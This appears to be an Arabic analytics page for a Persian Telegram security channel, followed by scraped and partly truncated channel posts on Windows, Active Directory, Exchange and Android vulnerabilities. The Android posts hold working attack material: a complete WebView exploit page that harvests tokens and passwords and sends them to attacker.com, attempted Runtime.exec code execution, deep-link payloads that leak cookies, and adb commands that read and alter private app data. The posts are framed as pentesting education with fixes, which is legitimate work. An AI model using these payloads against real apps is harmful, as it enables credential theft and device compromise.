Security Analysis
- Offensive Security (Red Teaming / PenTesting) - BlueTeam (OperationSec, TreatHunting, DFIR) - Reverse Engineering / Malware Analysis - Web Security - Cryptography - Steganography - Forensics Contact : @DrPwner
إظهار المزيد📈 نظرة تحليلية على قناة تيليجرام Security Analysis
تُعد قناة Security Analysis (@securation) في القطاع اللغوي Farsi لاعباً نشطاً. يضم المجتمع حالياً 11 834 مشتركاً، محتلاً المرتبة 10 541 في فئة التكنولوجيات والتطبيقات والمرتبة 26 839 في منطقة إيران.
📊 مؤشرات الجمهور والحراك
منذ تأسيسه في невідомо، حقق المشروع نمواً سريعاً وجمع 11 834 مشتركاً.
بحسب آخر البيانات بتاريخ 28 يونيو, 2026، تحافظ القناة على نشاط مستقر. خلال آخر 30 يوماً تغيّر عدد الأعضاء بمقدار 173، وفي آخر 24 ساعة بمقدار 6، مع بقاء الوصول العام مرتفعاً.
- حالة التحقق: غير موثّقة
- معدل التفاعل (ER): يبلغ متوسط تفاعل الجمهور 20.92%. وخلال أول 24 ساعة من النشر يحصد المحتوى عادةً 10.77% من ردود الفعل نسبةً إلى إجمالي المشتركين.
- وصول المنشورات: يحصل كل منشور على متوسط 2 472 مشاهدة. وخلال اليوم الأول يجمع عادةً 1 273 مشاهدة.
- التفاعلات والاستجابة: يتفاعل الجمهور بانتظام؛ متوسط التفاعلات لكل منشور يبلغ 6.
- الاهتمامات الموضوعية: يركز المحتوى على مواضيع رئيسية مثل ابزار, شناسایی, next.js, مهاجم, داده.
📝 الوصف وسياسة المحتوى
يصف المؤلف القناة بأنها مساحة للتعبير عن الآراء الذاتية:
“- Offensive Security (Red Teaming / PenTesting)
- BlueTeam (OperationSec, TreatHunting, DFIR)
- Reverse Engineering / Malware Analysis
- Web Security
- Cryptography
- Steganography
- Forensics
Contact : @DrPwner”
بفضل وتيرة التحديث المرتفعة (أحدث البيانات بتاريخ 29 يونيو, 2026) تحافظ القناة على حداثتها ومستوى وصول مرتفع. وتُظهر التحليلات تفاعلاً نشطاً من الجمهور، ما يجعلها نقطة تأثير مهمة ضمن فئة التكنولوجيات والتطبيقات.
STATUS_STACK_BUFFER_OVERRUN متوقف میشود.
راهحل ارائهشده، استفاده از API غیرمستند NtSetInformationVirtualMemory با کلاس VmCfgCallTargetInformation است که امکان ثبت دستی آدرسهای مجاز را فراهم میکند.
این رویکرد نشان میدهد که در محیطهای مدرن، صرف استفاده از ROP کافی نیست؛ بلکه باید با زیرساختهای امنیتی OS به صورت تعاملی برخورد کرد.
یک یادآوری برای دفاعکنندگان که لایههای حفاظتی باید در کنار هم و به صورت Defense-in-Depth پیادهسازی شوند.
#RedTeam #MalDev #Evasion
@securationVulnerableChannelAllowList را در پروتکل Netlogon اضافه کرد که همین لیست به مهاجم اجازه میدهد با حمله Meet-in-the-Middle و بدون نیاز به credential معتبر، کنترل کامل Domain Controller و کل دامنه را به دست آورد.
برخلاف Zerologon که همه DC های بدون پچ را تهدید میکرد، Onelogon تنها حسابهای موجود در این لیست را هدف میگیرد، بنابراین توصیه میشود تنظیمات GPO و کلید رجیستری مربوطه فوراً بررسی و حسابهای غیرضروری از لیست حذف شوند.
GitHub
#RedTeam #AD #OnLogon
@securationTryTwice() → GetTokenRequestWebResponse() → GetWacUrl() → WebRequest.CreateHttp(url)
پردازش میشود،
اما پارامتر url پیش از ارسال هیچ اعتبارسنجیای نمیشود؛ نه Uri.IsWellFormedUriString() اعمال میگردد و نه whitelist برای scheme. در نتیجه یک کاربر کمسطح میتواند با تزریق
file://، http://127.0.0.1:PORT یا http://169.254.169.254/
سرور را وادار به خواندن فایلهای محلی، شناسایی سرویسهای داخلی و استخراج metadata کند.
از آنجا که درخواست از سوی خود Exchange صادر میشود، محدودیتهای فایروال دور زده شده و مهاجم به منابع داخلی غیرقابلدسترس از بیرون میرسد؛ موضوعی که در محیطهای enterprise مبتنی بر Active Directory و storage مشترک میتواند به lateral movement منجر شود.
تا انتشار وصلهی رسمی Microsoft، توصیه میشود OneDrive Pro integration غیرفعال و دسترسی خروجی شبکهای سرور محدود شود.
POC
#RedTeam #VulnerabilityResearch
@securationC2 server fingerprinter — Cobalt Strike, Sliver, Mythic, Havoc, Brute Ratel#infosec #C2 #ThreatHunting @securation
این فلگ در AndroidManifest.xml تعیین میکند که ایا سیستم اجازه دارد از دیتا های روت برنامه برای کاربر بکاپ بگیرد یا خیر، اگر مقدار این فلگ true باشد مهاجمی که دسترسی فیزیکی به دستگاه دارد با استفاده از adb میتواند تمامی دیتا های روت برنامه را استخراج کند(در اندروید 12 به بعد باید حتما فلگ debuggable نیز true باشد) که این دیتا شامل دیتابیس ها، SharedPreferences و تمامی فایل های ذخیره شده در روت برنامه می باشد!(بدون اینکه دستگاه روت شده باشد) این آسیب پذیری زمانی بحرانی میشود که اپ اطلاعات حساسی مانند توکن اهراز هویت، کلید های رمزنگاری و یا اطلاعات خصوصی کاربر را در مسیر روت ذخیره کرده باشد؛ راهکار امنیتی مطابق استاندارد MASTG غیر فعال کردن فلگ بکاپ در نسخه ریلیز برنامه میباشد، یا در صورت نیاز به امکان بکاپ، میبایست از طریق backup_rules.xml امکان بکاپ گیری از فایل های حساس را جلوگیری نمود
#backup
adb backup -apk com.example.app -f backup.ab
#restore
adb restore backup.ab
استخراج داده ها از فایل بکاپ backup.ab توسط ابزار abe:
https://github.com/nelenkov/android-backup-extractor
2) debuggable:
این فلگ نیز در AndroidManifest.xml قرار دارد، اگر این فلگ برای یک اپ در نسخه ریلیز برابر true باشد، یک آسیب پذیری جدی محسوب میشود؛ چراکه مهاجم میتواند با استفاده از ابزار هایی مانند jdb به پروسه اپ متصل شده مقادیر متغیر های حساس در حافظه مثل توکن اهراز هویت یا کلید های api را بخواند و یا حتی flow اجرای برنامه را تغییر دهد، همچنین در اندروید 12 به بعد پیش شرط اجرای موفق دستور adb backup برای استخراج دیتای برنامه است، علاوه براین به واسطه دستور run-as که از adb shell در دسترس است میتوان به دایرکتوری روت اپ دیباگیبل دسترسی داشت و حتی فایل های آنرا ویرایش کرد و سو استفاده های لازم را به انجام رساند! بنابراین لازم است که در نسخه ریلیز و موقع انتشار عمومی برنامه مقدار این فلگ را برابر false قرار دهید
# printing the content of SharedPref
adb shell "run-as com.target.app cat shared_prefs/AppPref.xml"
# listing all db names
adb shell "run-as com.target.app ls -la databases/"
# manipulating isLoggedIn to true using sed
adb shell "run-as com.target.app sed -i 's/isLoggedIn\" value=\"false\"/isLoggedIn\" value=\"true\"/' shared_prefs/AppPref.xml"
# backing up entire directory
adb shell "run-as com.target.app tar -czf - /data/data/com.target.app" > backup.tar.gz
@securation
#Android #RE #Owasp #Mastg #allowBackup->authenticated بدون هیچگونه بررسی گواهی یا امضای سختافزاری روی True تنظیم میشود،به واسطه این نقص در فرآیند احراز هویت، مهاجم میتواند از طریق پیام نوع ۱۴، کلید خود را مستقیماً به فایل authorized_keys کاربر سطح بالای vmanage-admin تزریق کرده و دسترسی دائمی برای اجرای دستورات NETCONF روی پورت ۸۳۰ به دست آورد .
با توجه به اینکه هیچ راهکار موقتی (Workaround) برای این نقص وجود ندارد، ارتقای فوری به نسخههای اصلاحشده جهت جلوگیری از نفوذ کامل به زیرساخت توصیه میشود .
#RedTeam #Cisco #vulnerability_Analysis
@securationWebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url"));
کد اکسپلویت کامل
<!DOCTYPE html>
<html>
<head>
<title>POC - WebView addJavascriptInterface</title>
</head>
<body>
<h2> Exploiting addJavascriptInterface</h2>
<div id="result"></div>
<script>
// مرحله 1: سرقت دیتا از متدهای exposed
try {
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
document.getElementById('result').innerHTML +=
'<p>Stolen: ' + method + ' = ' + data + '</p>';
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
}
} catch(e) {}
}
} catch(e) {}
// مرحله 2: RCE (فقط در صورتی که getContext در کلاس جاوا تعریف شده باشه)
try {
var context = window.Android.getContext();
var classLoader = context.getClassLoader();
var Runtime = classLoader.loadClass('java.lang.Runtime')
.getMethod('getRuntime', null)
.invoke(null, null);
Runtime.exec(['su', '-c', 'id']);
document.getElementById('result').innerHTML += '<p> RCE Successful!</p>';
} catch(e) {
document.getElementById('result').innerHTML +=
'<p> RCE not possible (no chain method)</p>';
}
</script>
</body>
</html>
نسخه سادهتر (سرقت دیتا از متود های اکسپوزد)
<!DOCTYPE html>
<html>
<head>
<title>POC</title>
</head>
<body>
<script>
// سرقت دیتای هر متدی که در کلاس جاوا وجود داره
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
alert('Stolen: ' + data);
}
} catch(e) {}
}
</script>
</body>
</html>
نکته: این POC فرض میکنه که متدهایی مثل getUserToken() یا getPassword() در کلاس جاوا وجود دارن.
نکته مهم تر! اینکه برای رسیدن به RCE کامل به واسطه رفلکشن در اندروید های بالاتر از 4.2+ امکان پذیر نیست مگر اینکه در کلاس جاوا فانکشنی توسط برنامه نویس تعریف شده باشد که Context آن اکتیویتی را ریترن کند!!
برای مطالعه بیشتر: Owasp MASTG
@securation
#Android #RE #Owasp #Mastg #webviewفعال شدن جاوااسکریپت = راه ورود XSS. مهاجم میتونه اسکریپت مخرب تزریق کنه و توکن یا اطلاعات کاربر رو بدزده.
# تزریق مستقیم javascript در WebView
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert('XSS')"
# تزریق از طریق دیپ لینک با payload
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://webview?url=javascript:document.location='http://attacker.com/steal?c='document.cookie"
2) setAllowUniversalAccessFromFileUrls(true)
اجازه میده فایلهای HTML به همه فایل scheme ها و محتوای هر origin دیگه ای دسترسی داشته باشن (دیسیبل شدن SOP). مهاجم میتونه فایلهای دیتابیس و SharedPreferences رو بخونه.
# خواندن فایل SharedPreferences
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/shared_prefs/config.xml"
# خواندن دیتابیس اپ
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/databases/app.db"
3) addJavascriptInterface
بسیار خطرناک! مهاجم میتونه از طریق JS، متدهای کلاس متصل شده رو فراخوانی کنه و به کد native دسترسی پیدا کنه → RCE کامل روی دستگاه.
# تست وجود interface با alert
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert(Object.keys(window))"
# اگر interface با نام "bridge" وجود داشت، اجرای فرمان
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getClass().forName('java.lang.Runtime').getMethod('exec','java.lang.String[]').invoke(null,['su','-c','id'])"
#فراخوانی یک متد از کلاس جاوا و نشت توکن کاربر(تنها در صورتی که متد در کلاس جاوا تعریف شده باشد)
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getUserToken()"
4) setAllowContentAccess(true)
اجازه دسترسی به Content Provider ها از طریق content://، مهاجم میتونه دیتابیسهای داخلی، مخاطبین، یا فایلهای حساس اپ رو بدزده.
# دسترسی به دیتابیس اپ از طریق Content Provider
adb shell am start -n com.target.app/.WebViewActivity -d "content://com.target.app.provider/users"
# دسترسی به مخاطبین دستگاه (اگر Permission داشته باشه)
adb shell am start -n com.target.app/.WebViewActivity -d "content://contacts/phones/"
5) لود URL از ورودی کاربر
اگر loadUrl() مقدارش از Intent، دیپ لینک یا هر ورودی خارجی بیاد، مهاجم میتونه حملات زیر رو ترتیب بده:
Scheme | حمله -----------------+------------------------------------ `javascript://` | XSS `file://` | خواندن فایل `intent://` | ریدایرکت به اکتیویتی غیراکسپورت شده `data:text/html` | XSS مستقیم
# تست javascript scheme
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=javascript:alert('xss')"
# تست file scheme برای خواندن فایل
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/token.xml"
# تست intent scheme برای ردایرکت به Activity غیر اکسپورت شده
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=intent:#Intent;component=com.target.app/.PrivateActivity;end"
# تست data:text/html برای XSS مستقیم
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=data:text/html,<script>alert('XSS')</script>"
📌 نکته مهم وب ویویی که exported نباشد، فقط لانچ مستقیم را مسدود میکند. اگر اپ از طریق deeplink، Notification، Broadcast، یا Content Provider به WebView برسد، همه آسیبپذیریها همچنان قابل بهرهبرداری هستند. پس در پنتست: • اول مسیرهای رسیدن به WebView را پیدا کنید! (deeplink، Broadcast، Content Provider) • بعد آن مسیرها را برای ارسال payloadهای مخرب تست کن✅ چکلیست پنتست: • مسیرهای رسیدن به WebView رو پیدا کن (deeplink، Broadcast، Content Provider) • تست XSS با
javascript:alert()
• تست خواندن فایل با file:///data/data/...
• تست JavaScript Interface با Object.keys(window)
• تست Content Provider با content://...
@securation
#Android #RE #Owasp #Mastg #webview<activity android:name=".AttackerActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
و در کد به شکل زیر فراخوانی انجام میشود
Intent intent = new Intent("android.intent.action.MAIN");
intent.setComponent(new ComponentName("com.target.app", "com.target.app.SecretActivity"));
//intent.putExtra("password","123")
startActivity(intent);
@securation
#Android #RE #Owasp #Mastg #Intent
متاح الآن! بحث تيليغرام 2025 — أهم رؤى العام 
